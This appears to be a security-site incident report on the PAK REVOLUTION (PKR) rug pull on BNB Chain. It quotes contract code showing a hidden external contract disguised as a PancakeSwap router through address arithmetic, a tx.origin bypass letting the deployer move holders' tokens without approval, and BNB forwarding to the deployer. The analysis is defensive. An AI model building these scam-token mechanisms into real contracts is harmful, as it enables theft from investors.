PAK REVOLUTION Rug Pull
What happened
The PKR token has been rug pulled by its team, which made away with 523 BNB in profits, according to De.Fi's REKT database (listed loss 175,184 USD). De.Fi's text says the token deployer added the BNB/PKR liquidity pair in transaction 0xdb89bfa1…041604 and names 0x7bf7d0cf…583ebc as the scammer address and token deployer. The deploy transaction of the token itself shows a different deployer, 0x34C95b95…57BB90.
In the verified code, every transfer calls an unverified external contract that decides the outcome, the deployer's address gets special treatment, and the deployer can move holders' tokens without any allowance.
How it happened
What the code allows (from the verified source):
- The constructor does not mint a normal supply to the deployer. It splits 786,000,000 tokens (9 decimals) three ways:
_tOwned[_route] = deadAmount * 5;,_tOwned[address(0xdEaD)] = deadAmount * 90;,_tOwned[FTM] = deadAmount * 5;. - The
_routeaddress is not a plain PancakeSwap router. It is built by adding two addresses:_route = address(uint160(_route) + uint160(_OFFICE));where_routestarts as the PancakeSwap router address0x10ED43C718714eb63d5aA57B78B54704E256024Eand_OFFICEis0xD750e2F9275e41C1810dB409d3EBcFC07DB3c28f. Adding the two (mod 2^160) gives 0xe83e26c0…09c4dd, an address whose code is not in the verified source. The interface is namedIPancakeRouter02, which makes it look like a router. - Every transfer ends by calling that contract:
_tokenTransferruns(bool pass, bool success, uint256 exAmount) = IPancakeRouter02(_route).swap(sender, recipient, tAmount);wheneverif (tx.origin != GAMER). The balances have already changed by then, so the external contract can revert any transfer, including a sell, for anyone other thanGAMER. It also controls what the function returns, which moves tokens between theSTAKEandFTMaddresses and, whenpassis true, sends one ninth of theSTAKEbalance toGAMER(uint256 p = _tOwned[STAKE] / 9; _tOwned[GAMER] += p;). GAMERis the deployer address (address public constant GAMER = 0x34C95b957b6ba42e477D158646BB8857fC57BB90;). The checkif (tx.origin != GAMER)skips the external call for any transaction started by that address, andtransferFromskips the allowance check for it:_transfer(sender, recipient, amount); if (tx.origin == GAMER) return true;. A transaction started byGAMERcan therefore move any holder's tokens, including the liquidity pair's, with no approval.receive() external payable { GAMER.call{value: msg.value}(""); }forwards any BNB sent to the token contract to the deployer. There is no owner, no fee setter and no blacklist in the source; the control sits in the hidden contract and in thetx.origin == GAMERbypass.
(according to De.Fi's listing; the proof link could not be opened):
6. De.Fi's REKT database lists the token as an exit scam/rug pull on 2022-08-14, with the team taking 523 BNB in profit, after the deployer added the BNB/PKR pair in transaction 0xdb89bfa1…041604. Whether holders' sells reverted, or whether GAMER used the allowance bypass, is not shown by the code alone and was not checked in any transaction.
Protocol details
Evidence
- report Report dexscreener.com
- transaction bscscan.com transaction 0xdb89…1604 bscscan.com
- address Coin (PAK REVOLUTION) verified source on BscScan bscscan.com
- address polygonscan.com address 0x7bf7…3ebc polygonscan.com
- analysis Sourcify exact match for PAK REVOLUTION (BSC, chain 56) repo.sourcify.dev
- analysis De.Fi REKT database listing for PKR (proof: DexScreener pair page, HTTP 403 when opened) de.fi
Build your security review skills
Work through hands-on labs covering real exploit mechanics, review techniques, and defensive patterns.